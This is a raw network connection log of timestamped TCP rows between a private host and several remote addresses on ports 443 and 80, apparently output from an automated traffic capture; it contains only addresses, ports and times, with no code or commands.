Nov 25, 2024 18:28:34.581834078 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:34.582933903 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:34.583014965 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:34.583271980 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:34.583282948 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:34.583652020 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.583842039 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.583868027 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.585026979 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.585103035 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.586997032 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.587073088 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.587217093 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.631328106 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.633186102 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.633198023 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.680903912 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.680937052 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.681016922 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:34.824490070 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.884205103 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.973948002 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.974029064 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.974376917 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.974760056 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.974773884 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.027307034 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.027386904 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.027678967 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.028680086 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.028693914 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.030061960 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.030121088 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.030277967 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.030462027 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.030477047 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.091689110 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.092233896 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:35.092356920 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:35.093353033 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.093374014 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.094404936 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.094491005 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.094906092 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.095525026 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.095588923 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.096120119 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.096132040 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.096492052 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.096498966 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.097145081 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.097254992 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.097959995 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.098030090 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.098035097 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.124087095 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.124156952 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.124291897 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.124475002 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.124504089 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.139342070 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.143775940 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.143867970 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.146667004 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.156142950 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.156167984 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.157670975 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.157677889 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.158106089 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.158122063 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.160260916 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.160270929 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.160588980 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.162216902 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.162235975 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.162250996 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.179855108 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.179881096 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.185045004 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.185152054 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:35.185240984 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:35.205894947 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.207719088 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.207735062 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.208362103 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.208386898 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.208501101 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.208501101 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.208509922 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.208676100 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.209136009 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.211503983 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.211575985 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.212622881 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.212635040 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.235910892 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.236306906 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.236330986 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.237756014 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.237834930 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.238193989 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.238277912 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.238384962 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.238393068 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.305641890 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.305708885 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.305788994 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.386152029 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.607548952 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.607573986 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.607686996 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.607991934 CET	49798	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.608047962 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.608105898 CET	49798	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.608464956 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.608479023 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.608613968 CET	49798	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.608630896 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.847372055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:35.910828114 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.937792063 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.937895060 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.937968016 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.938616991 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.938616991 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:35.938642025 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.938652992 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:35.942384005 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.942456961 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.942476034 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.946544886 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.946598053 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.946609974 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.961044073 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.961122990 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.961138964 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.970820904 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.970870018 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.970885992 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.971659899 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.971709013 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.971894026 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.972023964 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.972064018 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.972270012 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.972309113 CET	49801	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.972348928 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.972403049 CET	49801	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.972537994 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.972551107 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.972920895 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.972934961 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.972996950 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.973082066 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.973095894 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.973212957 CET	49801	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.973226070 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.973361015 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:35.973373890 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:35.974879980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:35.977180958 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.977231979 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.977246046 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.985605955 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:35.985671043 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:35.985685110 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.037386894 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.037620068 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.038173914 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.038180113 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.038198948 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.038199902 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.038726091 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.038732052 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.038768053 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.038774014 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.040191889 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.040385008 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.040410042 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.040422916 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.040577888 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.048744917 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.100852013 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.101799011 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.101816893 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.102399111 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.102405071 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.107409000 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.107465982 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.107484102 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.133671045 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.133738041 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.133750916 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.137691975 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.137742996 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.137753010 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.169691086 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:36.169734955 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:36.169810057 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:36.170399904 CET	49804	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:36.170433998 CET	443	49804	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:36.170676947 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:36.170691013 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:36.170713902 CET	49804	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:36.170840025 CET	49804	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:36.170847893 CET	443	49804	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:36.179441929 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.263165951 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.265136957 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.265728951 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.265748024 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.266237974 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.266242981 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.379247904 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.379268885 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.385484934 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.385536909 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.385557890 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.385571003 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.385610104 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.385616064 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.501348972 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.508486032 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.508743048 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.508860111 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.508961916 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.508971930 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.509006977 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.509061098 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.509123087 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.509186029 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.509228945 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.509424925 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.509557009 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.509614944 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.509624958 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.509748936 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.509965897 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510168076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510175943 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510181904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510190964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510201931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510212898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510225058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510235071 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510246038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510248899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.510265112 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.510272026 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510287046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.510368109 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510415077 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.510421991 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510462999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510474920 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510490894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510536909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.510550976 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510565042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.510616064 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.510622025 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510660887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.510690928 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510824919 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.510829926 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510858059 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.510910034 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.510945082 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511096954 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511157990 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.511163950 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511248112 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511303902 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.511310101 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511421919 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511471987 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.511478901 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511565924 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511615992 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.511621952 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511707067 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511766911 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.511774063 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511859894 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511936903 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.511945963 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.511969090 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.512072086 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.512144089 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.513175964 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.513225079 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.513232946 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.513648987 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.514820099 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.514836073 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.515662909 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.515669107 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.607846022 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.608057976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.628813028 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.628858089 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.628926039 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.628940105 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.629278898 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.631733894 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.632142067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.632153034 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.632312059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.636163950 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.636220932 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.636334896 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.636408091 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.636503935 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.636537075 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.636653900 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.636663914 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.636727095 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.641788960 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.644676924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.644690990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.645462036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.646780968 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.646863937 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.646877050 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.650357008 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.650439024 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.650445938 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.653297901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.653312922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.653373003 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.653928041 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.653990030 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.654016018 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.657892942 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.657958984 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.657974958 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.661592960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.661604881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.661659002 CET	49761	80	192.168.2.5	185.215.113.206
